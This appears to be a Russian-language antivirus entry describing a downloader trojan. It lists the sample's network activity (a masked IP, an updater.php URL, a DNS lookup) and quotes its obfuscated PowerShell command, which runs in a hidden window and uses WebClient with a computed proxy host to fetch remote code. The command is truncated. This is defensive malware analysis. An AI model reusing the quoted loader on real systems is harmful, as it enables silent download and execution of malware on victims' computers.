Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Сетевая активность
Подключается к
- '5.##.222.65':80
TCP
Запросы HTTP GET
- http://ma##.com/updater.php
UDP
- DNS ASK 22##067.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -c "$l=New-Object System.Net.WebClient;$l.Headers.add('X-Requested-With','Java-1337');$l.proxy=(New-Object System.Net.WebProxy(([Net.IPAddress]([Net.Dns]::GetHostAddresses(''+(599*3733)+'.com')...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -c "$l=New-Object System.Net.WebClient;$l.Headers.add('X-Requested-With','Java-1337');$l.proxy=(New-Object System.Net.WebProxy(([Net.IPAddress]([Net.Dns]::GetHostAddresses(''+(599*3733)+'.com')...
